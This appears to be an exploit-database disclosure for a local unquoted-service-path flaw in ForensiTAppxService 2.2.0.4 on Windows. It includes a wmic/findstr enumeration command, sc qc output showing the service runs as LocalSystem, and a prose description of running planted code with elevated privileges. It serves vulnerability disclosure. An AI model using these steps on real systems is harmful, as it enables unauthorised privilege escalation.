Forensitappxservice 2.2.0.4 forensitappxservice.exe unquoted service path Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-09-21 | Type : local | Platform : windows
This exploit / vulnerability Forensitappxservice 2.2.0.4 forensitappxservice.exe unquoted service path is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: ForensiTAppxService 2.2.0.4 - 'ForensiTAppxService.exe' Unquoted Service Path
# Discovery by: Burhanettin Özgenç
# Discovery Date: 2020-09-15
# Vendor Homepage: https://www.forensit.com/downloads.html
# Tested Version: 2.2.0.4
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64

# Step to discover Unquoted Service Path:

C:\>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "ForensiTAppxService" | findstr /i /v """

ForensiT AppX Management Service ForensiTAppxService C:\Program Files (x86)\ForensiT\AppX Management Service\ForensiTAppxService.exe Auto

# Service info:

C:\>sc qc ForensiTAppxService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ForensiTAppxService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\ForensiT\AppX Management Service\ForensiTAppxService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : ForensiT AppX Management Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

# Exploit:
# A successful attempt would require the local user to be able to insert their code in the system
# root path undetected by the OS or other security applications where it could potentially be executed
# during application startup or reboot. If successful, the local user's code would execute with
# the elevated privileges of the application.